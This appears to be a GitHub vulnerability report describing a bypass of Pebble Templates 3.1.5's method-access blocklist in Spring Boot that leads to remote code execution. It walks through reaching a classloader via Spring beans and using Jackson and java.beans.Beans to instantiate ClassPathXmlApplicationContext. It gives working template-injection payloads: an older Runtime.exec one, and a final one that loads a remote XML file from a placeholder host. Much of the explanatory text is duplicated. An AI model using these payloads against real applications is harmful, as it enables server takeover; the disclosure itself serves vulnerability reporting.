When we control the parameter template we can render back the specified template file.
In previous versions, in order to mitigate command execution caused by malicious content in the template,pebble introduces a new security mechanism, which is implemented through the class BlacklistMethodAccessValidator.
In this class you can see a lot of restrictions, on the one hand, restricting the class to be an instance of certain classes, and on the other hand, restricting the execution of some methods
What can we do? So far we know that many instances of Spring applications are implicitly registered as beans, so can we find an object from a bean that holds a classloader object, and by getting it we can load any object by executing loadClass
By debugging we can easily export these beans objects
So we have to find some eligible beans among these classes
Fortunately we quickly found a class that fit the criteria and it helped us get the classloader object
It is not enough to execute loadclass, we also need to instantiate the class. And It's also very simple, there is jackson among spring's dependencies, through jackson deserialization we can easily instantiate a class.
Fortunately there is this jacksonObjectMapper object in the beans.Now we can instantiate arbitrary classes, and by being able to instantiate arbitrary classes we have bypassed the filtering restrictions
In the spring scenario we can easily think of a configuration class org.springframework.context.support.ClassPathXmlApplicationContext, which allows us to load a remote xml configuration file, through which we can easily implement the command execution.
But...
At this point you will find that any class jackson that inherits from AbstractPointcutAdvisor and AbstractApplicationContext will not be allowed to instantiate
publicvoidvalidateSubType(DeserializationContextctxt, JavaTypetype, BeanDescriptionbeanDesc) throwsJsonMappingException {
Class<?> raw = type.getRawClass();
Stringfull = raw.getName();
if (!this._cfgIllegalClassNames.contains(full)) {
if (raw.isInterface()) {
return;
}
if (full.startsWith("org.springframework.")) {
Classcls = raw;
while(true) {
if (cls == null || cls == Object.class) {
return;
}
Stringname = cls.getSimpleName();
if ("AbstractPointcutAdvisor".equals(name) || "AbstractApplicationContext".equals(name)) {
break;
}
cls = cls.getSuperclass();
}
} elseif (!full.startsWith("com.mchange.v2.c3p0.") || !full.endsWith("DataSource")) {
return;
}
}
ctxt.reportBadTypeDefinition(beanDesc, "Illegal type (%s) to deserialize: prevented for security reasons", newObject[]{full});
}
What to do at this time? We found a class called java.beans.Beans in jre.
The instantiate method of this class can help us instantiate arbitrary methods.
Here the classloader parameter is allowed to be set to empty, if it is empty later will be through the ClassLoader.getSystemClassLoader (); get, of course, in fact, we also get a classloader at the top which is not the point,It will eventually return an instantiated object based on the beanName passed in.
if (result == null) {
// No serialized object, try just instantiating the classClass<?> cl;
try {
cl = ClassFinder.findClass(beanName, cls);
} catch (ClassNotFoundExceptionex) {
// There is no appropriate class. If we earlier tried to// deserialize an object and got an IO exception, throw that,// otherwise rethrow the ClassNotFoundException.if (serex != null) {
throwserex;
}
throwex;
}
if (!Modifier.isPublic(cl.getModifiers())) {
thrownewClassNotFoundException("" + cl + " : no public access");
}
/* * Try to instantiate the class. */try {
result = cl.newInstance();
} catch (Exceptionex) {
// We have to remap the exception to one in our signature.// But we pass extra information in the detail message.thrownewClassNotFoundException("" + cl + " : " + ex, ex);
}
}
So we get the ClassPathXmlApplicationContext class that was forbidden to be instantiated by indirect means.
So by stringing these points together we can easily get the following payload
Pebble 3.1.5 Bypass
Pebble Templates 3.1.5 allows attackers to bypass a protection mechanism and implement arbitrary code execution with springboot.
First, simply set up an environment with the official documentation:https://pebbletemplates.io/
Pom.xml
com.example.hackingpebble.HackingpebbleApplication.java
com.example.hackingpebble.controller.Test.java
application.properties
And file structure as follows:

When we control the parameter template we can render back the specified template file.
In previous versions, in order to mitigate command execution caused by malicious content in the template,pebble introduces a new security mechanism, which is implemented through the class BlacklistMethodAccessValidator.
In this class you can see a lot of restrictions, on the one hand, restricting the class to be an instance of certain classes, and on the other hand, restricting the execution of some methods
Look at the old version of exploit, loading any class by Class.forName,now,no class
{% set cmd = 'id' %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) %}What can we do? So far we know that many instances of Spring applications are implicitly registered as beans, so can we find an object from a bean that holds a classloader object, and by getting it we can load any object by executing loadClass
By debugging we can easily export these beans objects
So we have to find some eligible beans among these classes
Fortunately we quickly found a class that fit the criteria and it helped us get the classloader object
It is not enough to execute loadclass, we also need to instantiate the class. And It's also very simple, there is jackson among spring's dependencies, through jackson deserialization we can easily instantiate a class.
Fortunately there is this jacksonObjectMapper object in the beans.Now we can instantiate arbitrary classes, and by being able to instantiate arbitrary classes we have bypassed the filtering restrictions
In the spring scenario we can easily think of a configuration class org.springframework.context.support.ClassPathXmlApplicationContext, which allows us to load a remote xml configuration file, through which we can easily implement the command execution.
But...
At this point you will find that any class jackson that inherits from AbstractPointcutAdvisor and AbstractApplicationContext will not be allowed to instantiate
What to do at this time? We found a class called java.beans.Beans in jre.
The instantiate method of this class can help us instantiate arbitrary methods.
Here the classloader parameter is allowed to be set to empty, if it is empty later will be through the ClassLoader.getSystemClassLoader (); get, of course, in fact, we also get a classloader at the top which is not the point,It will eventually return an instantiated object based on the beanName passed in.
So we get the ClassPathXmlApplicationContext class that was forbidden to be instantiated by indirect means.
So by stringing these points together we can easily get the following payload
{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %} {% set yy = beans.get("jacksonObjectMapper").readValue("{}", y) %} {% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %} {{ yyy.setConfigLocation("http://xxx.xxx.xxx/1.xml") }} {{ yyy.refresh() }}1.xml
with http server in your vps
Successfully triggered command execution by template file called rce.pebble

The text was updated successfully, but these errors were encountered: